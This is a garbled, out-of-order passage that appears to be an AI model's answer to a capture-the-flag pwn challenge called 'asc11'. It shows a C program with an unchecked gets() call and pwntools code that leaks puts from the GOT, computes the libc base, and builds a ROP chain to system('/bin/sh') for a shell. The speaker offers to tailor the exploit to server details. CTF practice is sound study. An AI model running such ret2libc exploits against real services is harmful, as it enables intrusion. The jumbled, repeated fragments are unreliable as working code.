gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ):
leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] log.success(f'Libc base: hex(libc.address)') rop2 = ROP(libc) rop2.system(next(libc.search(b'/bin/sh'))) asc 11
void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable gets → classic buffer overflow
payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload) I can tailor the exact exploit
file asc11 checksec asc11 Output (example):
p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main'])
p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge?